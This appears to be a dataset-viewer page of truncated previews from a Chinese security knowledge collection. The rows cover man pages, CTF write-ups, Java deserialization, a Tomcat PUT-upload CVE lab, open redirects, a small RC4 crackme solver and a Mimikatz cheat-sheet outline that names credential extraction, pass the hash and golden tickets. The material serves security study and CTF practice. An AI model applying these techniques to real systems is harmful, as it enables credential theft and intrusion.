.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SHA256SUM 1 2022年9月 "GNU coreutil... | sec-knowleage |
# Cat chat (web 210p, 46 solved)
In the task we get access to a web-based chat application.
We automatically join a random channel, and we can use the link with room number to invite more people to the chat.
The whole chat is implemented in javascript and apart from [client code](client.js) we also get [server code](se... | sec-knowleage |
# JAVA反序列化
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
Java 程序使用 `ObjectOutputStream` 类的 `writeObject()` 方法可以实现序列化, 相应的,ObjectInputStream 对象的 `readObject()` 方法将反序列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中... | sec-knowleage |
/*
* Copyright 2015-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... | sec-knowleage |
# 二、黑客们请注意
当你阅读本书的时候,我们希望听到你们对它的评论。
+ 它是否有用?
+ 它写得好嘛?
+ 你有没有发现一些要更正的东西?
+ 有什么缺少的东西?
+ 有什么想要深入了解的东西?
+ 有什么不想看的东西?
向`feedback@hackerone.com`发送你的评论,并在主题中提到“book”这个词。
十分感谢!
P.S. 当然,如果你确实觉得本书相当不错,请为它发推,并且向你的朋友推荐本书。 | sec-knowleage |
.TH "DROPLANG" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
droplang \- 删除一种 PostgreSQL 过程语言
.SH SYNOPSIS
.sp
\fBdroplang\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fB\fIlangname\fB\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR
\fBdroplang\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\... | sec-knowleage |
# Windows - Mimikatz
## Summary
* [Execute commands](#execute-commands)
* [Extract passwords](#extract-passwords)
* [LSA Protection Workaround](#lsa-protection-workaround)
* [Mini Dump](#mini-dump)
* [Pass The Hash](#pass-the-hash)
* [Golden ticket](#golden-ticket)
* [Skeleton key](#skeleton-key)
* [RDP Session Takeove... | sec-knowleage |
usernetctl
===
被允许时操作指定的网络接口
## 补充说明
**usernetctl命令** 在用于被允许时操作指定的网络接口。
### 语法
```shell
usernetctl(参数)
```
### 参数
* 网络接口:被操纵的网络接口;
* up:激活网络接口;
* down:禁用网络接口;
* report:报告网络接口状态。 | sec-knowleage |
# Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
Tomcat版本:8.5.19
## 环境搭建
```
docker compose build
docker compose up -d
```
运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。
## 漏洞原理
参考:
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn... | sec-knowleage |
# TempImage
## [Flag0](./flag0) -- Found
- File uploads can be hard to pin down
- What happens to your filename when you see an uploaded file?
- What if you make a small change to the path?
## [Flag1](./flag1) -- Found
- It clearly wants one specific format
- If you can't bypass that check, what can you do?
- Read up o... | sec-knowleage |
## Open Redirect
## Introduction
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain
## Where to find
- Sometimes... | sec-knowleage |
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: string.n,v 1.2 2003/11/24 05:10:00... | sec-knowleage |
from rc4 import RC4
L = 0x24+8
key = [ord(c) for c in "error: _ptr is not null"]
r = RC4(key)
s = open("crackme3000", "rb").read()
f = s.find("5f6897286932".decode("hex"))
d = [ord(c) for c in s[f:f+L]]
x = []
for c in d:
x.append(c ^ r.next())
e = "No such file or directory"
flag = "c"
for i in range(1, L):
... | sec-knowleage |
# fastjson
---
## maven 依赖
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>x.x.x</version>
</dependency>
```
## Fastjson API
### 定义 Bean
Group.java
```java
public class Group {
private Long id;
private String name;
private List<User> users ... | sec-knowleage |
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.13
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de ... | sec-knowleage |
---
title: FileZilla
date: 2022-11-23 16:23:31.705296
background: bg-[#a42115]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 30 keyboard shortcuts found on the FileZilla program
---
Keyboard Shortcuts {.cols-2}
------------------
### General Shortcuts I
Shor... | sec-knowleage |
---
title: Android SDK
categories: Hardware Hacking
tags: [Android SDK,Hardware Hacking,kali linux]
date: 2019-06-25 11:13:00
---
0x00 Android SDK介绍
-------------
Android SDK提供了开发,测试和调试Android应用所需的API库和开发者工具。
[Android SDK主页](http://developer.android.com/index.html) | [Kali上的Android SDK库](http://git.kali.org/gitweb/?p=p... | sec-knowleage |
# 九、应用逻辑漏洞
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
应用逻辑漏洞不同于其他我们讨论过的类型。虽然 HTML 注入、HTML 参数污染和 XSS 都涉及到提交一些类型的潜在恶意输入,应用落地及漏洞实际上涉及到操纵场景和利用 Web APP 代码中的 Bug。
这一类型攻击的一个值得注意的例子是 Egor Homakov 对 Github 的渗透,Github 使用 RoR 编写。如果你不熟悉 Rails,他是一个非常流... | sec-knowleage |
# Some Assembly Required 3
Category: Web, 160 points
## Solution
This is the follow-up for [Some Assembly Required 2](Some_Assembly_Required_2.md). We'll skip the stuff that we've covered in the previous challenge and in [Some Assembly Required 1](Some_Assembly_Required_1.md) and jump right to the WebAssembly.
Translat... | sec-knowleage |
### ICS_CTF 学习资源汇总
>EscortLab 收集整理了一系列相关关IoT资料,供大家学习
IoT产业资讯 https://www.iotdunia.com/iotdunia
### ICS_CTF利用框架
1. isf利用框架 https://github.com/dark-lbp/isf
2. isf利用框架 https://github.com/w3h/isf
### ICS_CTF整理ICS资源
1. icsmaster https://github.com/w3h/icsmaster
2. rapidscada https://github.com/RapidScada/scada
### ICS_CTF弱口... | sec-knowleage |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.